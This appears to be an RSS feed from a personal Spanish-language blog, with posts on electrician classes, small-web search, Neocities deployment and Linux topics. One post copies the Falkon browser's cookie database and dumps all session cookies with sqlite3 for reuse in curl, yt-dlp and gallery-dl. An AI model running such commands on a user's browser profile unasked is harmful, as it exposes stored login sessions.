<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgojoW69NcaGMYeenzw4lKsVa7VDG2hBJc8ftSYaLuAReQFOGv3bD17Jq05YtMyAeT8JJVHzULQhC-2S9udhJypWbv5O9gU7GoMSxPrSy9FiCZzT9-39h7BSk1zL0K2lA4BPoLX88hmXT4Eq_uYFoRPgAV90gubmNTL3pBYI6kQRviGP8-Kp8OfPkECqxU/s4160/IMG_20251021_200101631.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCKYYcaXuRkPV2-Yun6CvFcPwyBq4gCXFTAevkLx10F8F0O9X1MEseSsJ59pbjMu6fueL_MDKJRzqLM3fF2WRzj1wbxrSM9SnNBDArT6-HHuRC04jykOad-Z7Q9wckfj-kMoxcTk0jTuZt3CJsMdVE_nVNoa6tB3gMbrNZ6j2QWvjlkUKV9OEdsUH2wSk/s4160/IMG_20251021_200338946.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjUJuJ4RwJJ9uDFiAboHopwV46R7X_AyV8U-LELsyDVh_-UUYY7ixrQ5Cq94eCnAcibPN9dGthUKi11SqF4gFI6fm-igb1B9q7PVmiEGCTzF_qydXaEZlJ5uCPQtD10lTcMqVoIk8VZF6OHoFZf1LoAwtcOLTf_vfs3O94E-bAeSaXDjsiLp3Uenn7sFk/s4160/IMG_20251021_200342397.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGIWiVdAclKFWW5t548xLegkeKmZlqaN3FYfIg4C3mnK5PXfWXJ6g2YnwmH2MV50IWFNM2u0MeS_BUm_bJeEyehY37tVFk1L4hm1Bbj7K5pUV7R9_Yrtuo_2pHMYGX9ERKpSiDKBvE3MfnngMFa9frLlLvX5JjEVZit3q5vqSpVBmuwV2_XBiLo_9ziiE/s4160/IMG_20251021_200731899.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-NO-JHMYubuwfepZrYgdfX7peDzmYlZWJW9tpPONmHOnEFxkePp4cASxI1_3_edgboxm693VlvqQz2bwtuClXIoroiCZJHso95lEIJt0veAZ-P6CkKmEyaiBQPtTADN_5Hc0lIM0VdmWlUlZUZexyad8VtnXhJ8Be59KndAmjOqgW5gOJbZTzVdjVM0A/s4160/IMG_20251021_200734527.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjzf41ZlmqzohmeTbYS2sGGhxcrlPuxbM-ehfD7ua9JRJfKjQygdIL7Uy7ckICitiawVcV0MDlIvoMvRAPBzX_vw3McIRRnRSh36IJmqSDem7HU7NC2JbobejoMbbFzpAsd_TqScQhNKiPT2aircDU4MSO7ybUYqMNUP7f81rXz1VfNxDts3CYUyte_A8/s4160/IMG_20251021_201314627.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnsOPPewUoRTOfqPQWggqb_meIF0Wrw5ab7qmm1sfXcHEMtG0TvB36qchrpu50WbC4ip0z_h3u-jrjyX4p_gMn2RDDGpQX-WDHiLnqCukOS7T9skqyT0IoPuXaKzM077UFLt82MOIkFD7GV4AwI_MKs4wF_8OctoBUExXc6BnQiwrb5g8or9CO63oCl5w/s4160/IMG_20251021_202513422.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNCWGO3IBsK0rPS4kA-oK0z6DQJhNP6AxZigaf8RcEpZNxhMdhp80OoUe5leyiscRBuIEy0zLL2ACkZa_cGanS6TsM_vBp0YU6XFMsLwPcyh_JGeFODXEN_Kq6bgNjf4jY5al1AziQTY9FJDmF2zv8aGSjbPBju4bJ46tOJiAD6r4wZUWOWgoH63pKew4/s4160/IMG_20251021_202700840_HDR.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJvQ7A6pjwADLB33-sdo4taOrs3gFfRK_5WuVOK6q-Km278CldHy4n4dmpShEp12j2thcOtDpUMMH9jwW11lMiYZZINMQ_ICisGSd7t4xjlGxW4yJJLvtCW2FS3QiJBz3U1jjBW4JZZJJq0n_qj-LNOwvgnnW0k4qTF4jxAFBrteS1c5OQF4vg7yvt4HU/s4160/IMG_20251021_202710052.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgVhfV2dOIFhShRIXYZKDZaI7utLnATxFExaKB_T85a3jCMpR5YykPkDDU8_TEUfLcOzpCHGCte1ksiFL1MII-t8EOlDK_ZJkJxhSfs3MMfZDmDAawA33dxVRcNqZaleO9nqIftAqsTJz3ZfFUjnBnzsBL_kcFLiQu3QU9d_l3b2oRfKjGACdJyDM8xaw/s4160/IMG_20251021_202919622.jpg" alt=""></p>
-
Electricidad / Anterior Clase 81: Fotos y videos que manda el profesor antes de clase 81 por WhatsApp.
https://imlauera.github.io/electricidad81_whatsapp/
Tue, 21 Oct 2025 13:02:00 -0300
https://imlauera.github.io/electricidad81_whatsapp/
<p><a href="https://youtu.be/O0WmTqiFmMI?si=kQ0v_WbtbiIth4Zo">https://youtu.be/O0WmTqiFmMI?si=kQ0v_WbtbiIth4Zo</a></p>
<p><a href="https://www.youtube.com/watch?v=OPGnOVVGeDo">https://www.youtube.com/watch?v=OPGnOVVGeDo</a></p>
<p><a href="https://www.facebook.com/share/v/17C4NgGCnT/">https://www.facebook.com/share/v/17C4NgGCnT/</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJDfr66SK75vpyrUMd_Nbr0dRWinCBsMIZFeoRXOz7kG0G1VqnUQIb6t_b9wkFOE11_uk46gNtjiz0RAhOxc_iVfUe7KNx37B7Jw0UR4B4fe-mbK7Dtm6-MK1seSlD3c1grIwkgCG_8sP40jlP3UUH7Xxlz1rRY4XhedAZEghrqTE_Mn4STYfVKJbQx4s/s4160/3d8a8d74-eba2-4c70-8590-04766c03c24c.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqxhkQYozIcnYLeqkzKz4Uev6aTMc13xfhIxOUacf8luc6fzoNl4cGYZ2VFSlgDjEArzAIaNC8omvKAshqkPEoKYN9lmO2sFdvO9ZV0rUFB8QWHesgWBBahajHWkQeRy5lCgnV-ThMPgvCvOpVeiKdxUpwxdXr7qtjb-XE0DBFrbwLVjcG9XNeCdO7A_Q/s4160/8d6ca170-785f-493b-9373-43f5e4ef2180.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaHV_6GnaKawzNjB8mLZZGQrbXc-MA3qR2RGY-usyLuv2onj1qNza4cqu10Wb5oOEVZDbVHlfF9iMSE3RuNgQDzZFaehiyMpH7OFHyqoVjEiQYaBiTk1dPwQtusztUVxhHhuRdtG9mpKo0DKZHVoJlFy6hXUMULd4X382z0YIXnpUXDEBoPLA48dTsUxU/s4160/9a108e54-5382-432d-b505-f94d0788a6eb.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUqbOKgxBZ6AYuL-KyPwo3BLjxPWELthmPiNWgqDeogspFQcJR8sd5NjL1ipliZODN0Rx2-DMMNH9Tz8KqHdeavrljkV1xcnqJllg9iNDv43zD36q2rA6lHUabxSG436GogdTlTX1vw7luLz-9sPsp4wYbKgQ0d8Ym5JvMxrMV9uOa8OSkDXel2ngeVPA/s4160/9dc23aff-593e-4b16-b6c6-010f812f48fd.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJF3nKsT7ffnpkuZK3IJzVUtFrv-svQMfR6gQz0Cf9HlIxNt1Oo4n7c9WWKc1Yy5HxwQwJ6LTwVChy7ykfX7W4xV5ZGft1kjmz_-09oXZKA1E3RIf_kx1mm2Rai4ol8WJ9pCXsjbx4TpDPyU8RdyWex9nRuUpWLNayCUzLfkKJBEAvTX6qWV35lZgp8m0/s4160/208a928c-2130-43c1-a652-6d9ce2a376d7.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX7zoxxgiPvT6h2tU2phTOpzkO5Cq6omi0hdyc2XmgxubvAKpKKaJLUjgry-NDGSI0kNntrQtxuy2pM4m_dc3Ad34nb_VfHTM4xThBo1DFnqIO3r8aoDzplrHHa_rARims3F1L3Uk55N5yZkV_YCcUN6JGXDHBcVfhGfVhdtuwovQQSNQ1jA-EPkWRhwE/s4160/c273b5fb-0aed-4bca-84bb-44f323fcf7b7.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_87hTmzMvloV4gK4CFQlCidMpkEqNQXOQQfmCt_AsptJEGJYDieomkRlVx1jyYPfuhFVoyg_0saV06BouD-RE9ktvqZZJ6-w8RPzaufB9Da1-Dv9k31_D32g3yPig_T-eQDbjRKbgVVmWFk0A6TCJBa2_qaq9Cz-PuqJZYU1Ubs1Coxnr3awV8wOxQvc/s4160/e78da2c3-ac00-46b3-ad98-ab4e18eb14d8.jpg" alt=""></p>
-
Electricidad / Clase 80: [FOTOCOPIAS CLASE ANTERIOR QUE FALTE] Charla de salud metal. Ayudante explica mala anecdota de trabajo con un supuesto ingeniero.
https://imlauera.github.io/electricidad80/
Tue, 21 Oct 2025 01:20:29 -0300
https://imlauera.github.io/electricidad80/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1aswdn0TEhs5">https://vocaroo.com/1aswdn0TEhs5</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-323">https://archive.org/details/record-323</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=fODzOXrXbP4">https://www.youtube.com/watch?v=fODzOXrXbP4</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVHAqc-LCQlimkYhXUsl-1g6u-coL1TjfC3JLbejFtSqoNtEKTZzdT7Gx5pw5WSatFb4C7M7KKEhtURMmymzJ79gXIZyo7XIN9gc3fg7cYJA6xuY9l7gM5g97iJYAMT4kgPPyc6Sp9tFxTyCFqnv-ScXSfz9gMs-_rD7UTw9oDD4K0jO75JE8BgaRnv7k/s4160/IMG_20251020_182850416.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNamx_bvb3_F9G96b4InW6388LPQVcU19ofVWzSQoryDlM1JB99SswePVGt0ZiDmtUibGJVKdJogFyl5DNDsxh6RI9-Vn0ZQUGuMz5n_Z-g7anMBb5TZbyIaLF4PyPpk48912yMDMpsNHosqJaGiIG-oEgnZLycWweRlBpf4oO0mFAtsfgNqYTyjXFoOo/s4160/IMG_20251020_182833214.jpg" alt=""></p>
-
Search engine
https://imlauera.github.io/search_engine/
Mon, 20 Oct 2025 01:23:15 -0300
https://imlauera.github.io/search_engine/
<p>YaCy buscador P2P</p>
<ul>
<li><strong>Using link directories</strong> (human-curated lists like <a href="https://neocities.org/browse">https://neocities.org/browse</a>, <a href="https://dmoztools.net">https://dmoztools.net</a>, <a href="https://tildeverse.org">https://tildeverse.org</a>).</li>
<li><strong>Following hyperlinks</strong> from one site to another — like surfing in the 1990s.</li>
<li><strong>Using public web indexes</strong> or “link crawls” such as:
<ul>
<li><a href="https://curlie.org">https://curlie.org</a> (the modern DMOZ)</li>
<li><a href="https://wiby.me">https://wiby.me</a> (focuses on classic-style personal websites)</li>
<li><a href="https://smallweb.directory">https://smallweb.directory</a></li>
<li><a href="https://marginalia.nu/explore/">https://marginalia.nu/explore/</a> — a small-web exploration view</li>
</ul>
</li>
</ul>
<h2 id="-2-using-marginalias-downloadable-domain-lists">💾 2. Using <strong>Marginalia’s downloadable domain lists</strong></h2>
<p>Marginalia provides downloadable <strong>domain databases</strong> so you can browse the “small web” offline or create your own local index.</p>
-
AI workslop
https://imlauera.github.io/bullshit_generators/
Sat, 18 Oct 2025 01:53:07 -0300
https://imlauera.github.io/bullshit_generators/
<p><a href="https://www.theguardian.com/business/2025/oct/12/ai-workslop-us-employees">https://www.theguardian.com/business/2025/oct/12/ai-workslop-us-employees</a></p>
<hr>
<ul>
<li>El artículo introduce el término <strong>“AI workslop”</strong>, que describe trabajo de baja calidad generado por inteligencia artificial.</li>
<li>A primera vista parece correcto, pero <strong>carece de valor real o precisión</strong>, generando retrabajo.</li>
<li><strong>Más del 40 % de empleados estadounidenses</strong> reportan haber recibido este tipo de contenido.</li>
<li>En lugar de aumentar la productividad, <strong>la IA mal aplicada puede reducirla</strong>.</li>
<li>El problema no es la tecnología, sino <strong>la falta de capacitación y estrategia</strong> en su uso.</li>
<li>Muchas empresas adoptan IA sin políticas claras, objetivos definidos ni métricas de impacto.</li>
<li>Resultado: <strong>más ruido, menos eficiencia y pérdida de control sobre la calidad del trabajo</strong>.</li>
</ul>
-
Loading cookies from Falkon into a console web-browser or yt-dlp.
https://imlauera.github.io/cookies_console_browser/
Fri, 17 Oct 2025 15:24:32 -0300
https://imlauera.github.io/cookies_console_browser/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp ~/.config/falkon/profiles/default/Cookies /tmp/falkon_cookies.sqlite
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sqlite3 -separator <span style="color:#e6db74">$'\t'</span> -noheader /tmp/falkon_cookies.sqlite <span style="color:#e6db74">"SELECT host_key,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CASE WHEN host_key LIKE '.%' THEN 'TRUE' ELSE 'FALSE' END,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> path,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CASE WHEN is_secure=1 THEN 'TRUE' ELSE 'FALSE' END,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> CAST((expires_utc/1000000.0 - 11644473600) AS INTEGER),
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> name,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> value
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">FROM cookies;"</span> > ~/cookies_netscape.txt
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -v -L -b ~/cookies_netscape.txt -c ~/cookies_out.txt <span style="color:#e6db74">"https://inv.nadeko.net/"</span> -o /tmp/forum.html <span style="color:#f92672">&&</span> w3m /tmp/forum.html
</span></span><span style="display:flex;"><span>curl -v -L -b ~/cookies_out.txt <span style="color:#e6db74">"https://inv.nadeko.net/"</span> -o /tmp/forum.html <span style="color:#f92672">&&</span> w3m /tmp/forum.html
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#### Ahora usamos las cookies para descargar videos o el instagram de una persona.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ yt-dlp --cookies cookies_out.txt
</span></span><span style="display:flex;"><span>$ gallery-dl --cookies ~/cookies_out.txt https://instagram.com/user
</span></span></code></pre></div><h5 id="para-iniciarlo-con-startx-twm">Para iniciarlo con startx (twm)</h5>
<p>echo “exec twm” > .xinitrc</p>
-
Neocities: como buscar y pushear desde GitHub con GitHub Actions
https://imlauera.github.io/neocities/
Fri, 17 Oct 2025 04:22:23 -0300
https://imlauera.github.io/neocities/
<p>Para buscar en Neocities (ya que Google censura y te muestra solo Reddit) podes usar estos 2 buscadores:</p>
<ul>
<li><a href="http://wiby.me/">Wiby</a></li>
<li><a href="https://marginalia-search.com/">Marginalia</a></li>
</ul>
<p>O directamente buscando por <strong>tags</strong>:</p>
<p><a href="https://neocities.org/browse?tag=tor">https://neocities.org/browse?tag=tor</a></p>
<h4 id="como-deployar-a-neocities-desde-github-yo-tengo-mi-sitio-alli-tambien">Como deployar a Neocities desde GitHub yo tengo mi sitio alli tambien: <a href="https://imlauer.neocities.org">https://imlauer.neocities.org</a></h4>
<hr>
<h2 id="--automated-deployment-using-github-actions-recommended">⚙️ <strong>Automated deployment using GitHub Actions (recommended)</strong></h2>
<p>Primero cree una carpeta llamada neocities porque no se permiten <code>.git</code> <code>.node_modules</code> e imagens creo y ahi puse el html con el siguiente script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/bash
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> -z $1 <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">"Falta commit"</span>;
</span></span><span style="display:flex;"><span>exit;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> html in *.html; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> rm $html;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> markdown in *.md; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> filename_only<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>markdown%.*<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">(</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">'<!DOCTYPE html>'</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">'<html lang="en">'</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">'<head>'</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">' <meta charset="UTF-8">'</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">" <title>Imlauer | </span>$filename_only<span style="color:#e6db74"> </title>"</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">'</head>'</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">'<body>'</span>
</span></span><span style="display:flex;"><span> cmark $markdown;
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">'</body>'</span>
</span></span><span style="display:flex;"><span> echo <span style="color:#e6db74">'</html>'</span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">)</span> | tee $filename_only.html <span style="color:#f92672">&&</span>
</span></span><span style="display:flex;"><span> cp $filename_only.html neocities/
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span> ;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>git add . <span style="color:#f92672">&&</span> git commit -m $1 <span style="color:#f92672">&&</span> git push
</span></span></code></pre></div><p>You can make GitHub automatically push changes to Neocities when you push to <code>main</code>.</p>
-
Youtube thumbnail
https://imlauera.github.io/youtube_thumbnail/
Thu, 16 Oct 2025 19:06:24 -0300
https://imlauera.github.io/youtube_thumbnail/
<p>Asi se ven las URLs solo reemplaza el ID.</p>
<p><a href="https://i3.ytimg.com/vi/dQw4w9WgXcQ/maxresdefault.jpg">https://i3.ytimg.com/vi/dQw4w9WgXcQ/maxresdefault.jpg</a></p>
<p><a href="https://i3.ytimg.com/vi/dQw4w9WgXcQ/sddefault.jpg">https://i3.ytimg.com/vi/dQw4w9WgXcQ/sddefault.jpg</a></p>
<p><a href="https://i3.ytimg.com/vi/dQw4w9WgXcQ/mqdefault.jpg">https://i3.ytimg.com/vi/dQw4w9WgXcQ/mqdefault.jpg</a></p>
<p><a href="https://i3.ytimg.com/vi/dQw4w9WgXcQ/2.jpg">https://i3.ytimg.com/vi/dQw4w9WgXcQ/2.jpg</a>
<a href="https://i3.ytimg.com/vi/dQw4w9WgXcQ/1.jpg">https://i3.ytimg.com/vi/dQw4w9WgXcQ/1.jpg</a></p>
<p><a href="https://i3.ytimg.com/vi/dQw4w9WgXcQ/0.jpg">https://i3.ytimg.com/vi/dQw4w9WgXcQ/0.jpg</a></p>
-
Distcc: distributed builds for C, C++ and Objective C
https://imlauera.github.io/distcc/
Thu, 16 Oct 2025 02:59:13 -0300
https://imlauera.github.io/distcc/
<p>Si tenes una netbook del gobierno o una computadora vieja podes instalar Gentoo usando el poder de computo de varias computadoras.</p>
<p><a href="https://wiki.gentoo.org/wiki/Distcc">https://wiki.gentoo.org/wiki/Distcc</a></p>
-
Electricidad / Clase 79: Tablero electrobomba materiales. Arranque parada motor con contactor. Estuve ausente.
https://imlauera.github.io/electricidad79/
Wed, 15 Oct 2025 22:52:50 -0300
https://imlauera.github.io/electricidad79/
<p>No tengo audio, estuve ausente.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF9C3iGjvGVFIMkK5-JJs1dNczvC-jkCWon2OxVvU9Ef_Y4j_urgPJFjTznQdsZLVZJmtqvImzbjqpyRH27cl9m8dkc6rR3XiGJpg1CW7P5EGagvl_nZVQiSl05vYvC4DNWFKFiPd8XYQDli0X0VEvY7EFKU1QmncoWfcj7A_78pMHt2Tl-RcNluaINmg/s4160/IMG-20251015-WA0002.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7myuvjRFzY86DZeR-UU1BirbZ78BGvasRDWs5oFn8p_sRQaQxVSaMlLSlDkIV0ZoIGlyN633SY1axqPKuH7fAS6iAfWdFqmIzO97Q82WNGDsQkGWhowg6Dv8Bbio7I6vg3aK8rDxwZ0kWtZ5jGZb1pseBWJ_-dRLHhDQ8X0PqZSfQpMvLIJbzqaA3sEY/s4160/tablero.jpg" alt=""></p>
-
Federated. ¿Que es?
https://imlauera.github.io/xmpp_federated/
Wed, 15 Oct 2025 21:55:08 -0300
https://imlauera.github.io/xmpp_federated/
<p>El término federated (federado) se usa en tecnología para describir sistemas distribuidos que cooperan entre sí sin depender de un servidor central.
Cada nodo (servidor, usuario, instancia) mantiene su independencia, pero se comunica con los demás mediante protocolos comunes.</p>
<h5 id="por-ejemplo">Por ejemplo:</h5>
<ul>
<li>
<p>En lugar de un único servidor que maneja todo (como Facebook o Gmail),</p>
</li>
<li>
<p>En un sistema federated hay muchos servidores independientes que se entienden entre sí.</p>
</li>
</ul>
<h2 id="-qué-es-federated-xmpp-chat">💬 Qué es <em>Federated XMPP Chat</em></h2>
<p><strong>XMPP</strong> (Extensible Messaging and Presence Protocol) es un protocolo abierto de mensajería instantánea — el <strong>mismo que usaban Google Talk y Jabber</strong>.
Y <strong>“Federated XMPP chat”</strong> significa que:</p>
-
Meta linux distro
https://imlauera.github.io/meta_linux_distro/
Wed, 15 Oct 2025 20:52:02 -0300
https://imlauera.github.io/meta_linux_distro/
<h3 id="-what-is-a-meta-linux-distribution">🧩 What is a <em>meta</em> Linux distribution?</h3>
<p>A <strong>meta distribution</strong> is a Linux distro that doesn’t just give you a fixed, prebuilt system like Ubuntu or Fedora — instead, it gives you <strong>the tools and philosophy to <em>build your own</em></strong> system from the ground up, often with minimal automation.</p>
<p>They’re typically:</p>
<ul>
<li><strong>Source-based</strong> (you compile most or all packages yourself).</li>
<li><strong>Highly modular</strong> — you choose every component (init, package manager, etc).</li>
<li><strong>Educational</strong> — you learn how Linux actually fits together.</li>
<li><strong>Non-prescriptive</strong> — they don’t impose defaults beyond what’s necessary to bootstrap the system.</li>
</ul>
<p>You could think of them as “<strong>distributions for building distributions</strong>.”</p>
-
Electricidad / Clase 78: [FOTOCOPIAS no entregadas] Contactores. Taller de 'Inteligencia Artificial' (me fui).
https://imlauera.github.io/electricidad78/
Mon, 13 Oct 2025 22:54:10 -0300
https://imlauera.github.io/electricidad78/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1c8GOa1YfcOq">https://voca.ro/1c8GOa1YfcOq</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/cortado_202510">https://archive.org/details/cortado_202510</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=-jZ_IdJEF4M">https://www.youtube.com/watch?v=-jZ_IdJEF4M</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2qCZXOu7uu0lXFzZK9jvK5INkNF6RY2wyblKPJT1O1PPu2wBVq4fIc5tbpba7xvC92z2ylf77CqYZAg5aVvqKAEA1bFL7FTjgix7o7XNv1dRdBi0VL84kSwKNcF23Jkwr_NVPXT2Vtsb0NWQDSV_i_kUQDA7wxhS2HjxKgmKu9x2qMuxsTL_UmiY3V_Y/s4160/IMG_20251013_185918336.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBSOi1BYcnK3tgfh1hVf9FmzpJp1XTREMGMABpdhQnWo6FXBkKHE118_J7zKNM-m3bpcybCrLCxNtEEhyphenhyphenHI1yi6Juwa5poTaDXcPLcx7OPW1VcEdocI6eaZEzri0qyK7Kt3bM7swQng37CA9YdGG2S7kEUxztyrzOTEjJfeA_20lPYRwEKrWuu9pXMKyQ/s4160/IMG_20251013_185925336.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiULwVOERfBTkrBXSmPFizJSwLH7qRatnUAalhPINa-XKetq_qxHZ81-KB5uegC6BQzRNCsZSLdWqqotsga3SnlbA66XeyLc4HT6VXXdss-2HeqwptxuyNXK3Hi_C76zRpPhuNSFBXSFWt2trO8tnMS3TqMrEk3FSvnnhwW6TOpYzDY2pO63JtmqbLzWQw/s4160/IMG_20251013_185936285.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioPxcs4SgW_gRKDHR05Gb-wtZFxf0iuqrhEi7HJNG3kBZBhtmmbyXL8-I0AxEA6N0J9mYsoI8h0qSsTXlzyjPUXQQMWEfQUv5INzUuJbqL-0Kn4yqH7VHyaC7eCKxV9yGl3DX5gZZgHOxAWaJwj1es6yJ77BEJ67W3_9Inhd3ljPorbz42T8V5Kqp0rlk/s4160/IMG_20251013_190527863.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTIOVnXlnCXpWLTzHmmAFAqKma11mzdDSENtJWMMrGG79r1yoFpBpzYTJy_h8tTi_OI4AJ3hPN__FeT5YkphXnVOBLWX2s-S7u9icHNeISzdMVla9KyrD3KYebOPQodSTjOtIB01LPSDr5VZgsXuk922gMt11YdeCFEmtsZTvA7YAoBIhAx7CK4xTgZwo/s4160/IMG_20251013_190844982.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGxt_QEdt7T-pMLMwTXKlzj8LW_8KShnWoc2q1mHeDlOSUhKeU2y1UkkLhSHyGEYUH5TJ59EYXGchGTJdIDi5vHYaSSbf8dWq1awrcqc09CBPmovdudnduF0wS6ajb6Zk6kvsbkd4Iq9jhV7m2W8fM5Oik9Hj5GdcvXIlXxaykLE3RowwRDfI8ozYBtUc/s4160/IMG_20251013_190854447.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsApkR1ojGu-OQZf64DRNKpIoExEsBQGnDMzVeW_9vY4OALKsXhleHOKUWETErsNeQGffPzjAXnrdYU9zmjPrAQG41yscnaDyf8eLrziERxa_1UV77ugP1MPRRfnC_fpd2k7fLMjklPrTyy6cjRAOtTC9dVYkSbGu4r0yfesAqvm9IXc7R3M8NSxO-Uxg/s4160/IMG_20251013_190907461.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRFNRgnFCyfuGdrRy_X07RUXzw46tfgHvM57CPSdhd4GPL4aTsDZH4uEcOKeAtywVUwbPRXSuA4haehheKFtVQ6ia7GRGyvZDI-fdS5OlRjHJGHtrM2DMELMK3rhzqlwVJFOEcKry-UlOsD6OV-sk6era3zfNcNy1BYuBJCYXwlUos655T4AECMdZ9plc/s4160/IMG_20251013_190920250.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCjcKycSZHv5Kf5zrA_5HoijkyeWW-Tjj7N7ZcsdMUn4O7f_bIffq6V7_j6SAatIe3CmWFqzpmiTrT8IIAhjYPbMItb8oSAVl7i7egNPQyffaHysJouR0VJz8_rdpduQoDTv5rpUXqkqkAXUWdUEYDoiyYY2Ymt5RIETbzHVxWOR93rbg2iAp48wup08k/s4160/IMG_20251013_191416980.jpg" alt="">
<img src="https://ia601008.us.archive.org/32/items/79_electricidad/IMG-20251013-WA0018.jpg" alt=""></p>
-
Descentralizado: Redes P2P (Ares o eMule)
https://imlauera.github.io/descentralizado/
Mon, 13 Oct 2025 02:31:00 -0300
https://imlauera.github.io/descentralizado/
<p>Hoy en dia yo uso Jackett con qbittorrent, que tambien se puede utilizar con btstrm para ver y descargarlo al mismo tiempo (streamear).</p>
<h3 id="-1-qué-eran-las-redes-p2p-como-emule-o-ares">🕹️ 1. Qué eran las redes P2P (como eMule o Ares)</h3>
